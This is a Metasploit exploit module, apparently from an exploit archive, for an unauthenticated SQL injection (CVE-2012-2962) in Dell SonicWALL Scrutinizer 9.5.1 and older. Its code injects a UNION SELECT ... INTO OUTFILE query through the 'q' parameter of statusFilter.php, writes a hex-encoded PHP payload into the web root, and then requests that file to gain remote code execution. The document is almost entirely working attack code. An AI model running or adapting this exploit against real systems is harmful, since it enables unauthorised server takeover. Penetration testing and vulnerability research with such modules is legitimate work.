Dell SonicWALL Scrutinizer 9 – SQL Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Dell SonicWALL Scrutinizer 9 SQL Injection", 'Description' => %q{ This module exploits a vulnerability found in Dell SonicWall Scrutinizer. While handling the 'q' parameter, the PHP application does not properly filter the user-supplied data, which can be manipulated to inject SQL commands, and then gain remote code execution. Please note that authentication is NOT needed to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'muts', 'dookie', 'sinn3r' ], 'References' => [ ['CVE', '2012-2962'], ['OSVDB', '84232'], ['EDB', '20033'], ['BID', '54625'], ['URL', 'http://www.sonicwall.com/shared/download/Dell_SonicWALL_Scrutinizer_Service_Bulletin_for_SQL_injection_vulnerability_CVE.pdf'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ # According to advisory, version 9.5.1 and before are vulnerable. # But was only able to test this on 9.0.1.0 ['Dell SonicWall Scrutinizer 9.5.1 or older', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 22 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The path to the SonicWall Scrutinizer\'s statusFilter file', '/d4d/statusFilter.php']), OptString.new('HTMLDIR', [true, 'The HTML root directory for the web application', 'C:\\Program Files\\Scrutinizer\\html\\']) ], self.class) end def check res = send_request_raw({'uri'=>target_uri.host}) if res and res.body =~ /\<title\>Scrutinizer\<\/title\>/ and res.body =~ /\<div id\=\'.+\'\>Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit peer = "#{rhost}:#{rport}" p = "<?php #{payload.encoded} ?>" hex_payload = p.unpack("H*")[0] php_fname = Rex::Text.rand_text_alpha(5) + ".php" rnd_txt = Rex::Text.rand_text_alpha_upper(3) print_status("#{peer} - Sending SQL injection...") res = send_request_cgi({ 'uri' => target_uri.path, 'method' => 'POST', 'vars_post' => { 'commonJson' => 'protList', 'q' => "#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#" } }) if res and res.body !~ /No Results Found/ print_error("#{peer} - I don't think the SQL Injection attempt worked") return elsif not res print_error("#{peer} - No response from the server") return end # For debugging purposes, this is useful vprint_status(res.to_s) target_path = "#{File.dirname(target_uri.path)}/#{php_fname}" print_status("#{peer} - Requesting: #{target_path}") send_request_raw({'uri' => target_path}) handler end end |